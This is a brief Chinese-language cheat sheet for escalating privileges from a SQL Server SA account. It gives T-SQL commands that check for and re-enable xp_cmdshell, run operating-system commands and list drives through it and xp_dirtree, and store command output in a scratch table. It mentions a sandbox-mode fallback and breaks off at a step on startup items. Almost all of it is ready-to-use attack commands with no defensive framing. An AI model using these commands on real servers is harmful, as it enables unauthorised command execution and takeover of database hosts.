SA提权辅助:
1.判断扩展存储是否存在:
select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
select count(*) from master.dbo.sysobjects where name='xp_regread'
恢复:
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;(SQL2005)
2.列目录:
exec master..xp_cmdshell 'ver'
(or) exec master..xp_dirtree 'c:\',1,1
(or) drop table black
create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--
insert into black exec master..xp_cmdshell 'dir c:\'
select top 1 mulu from black where id=1
xp_cmdshell被删除时,可以用(4.a)开启沙盒模式,然后(4.b)方法提权
3.备份启动项: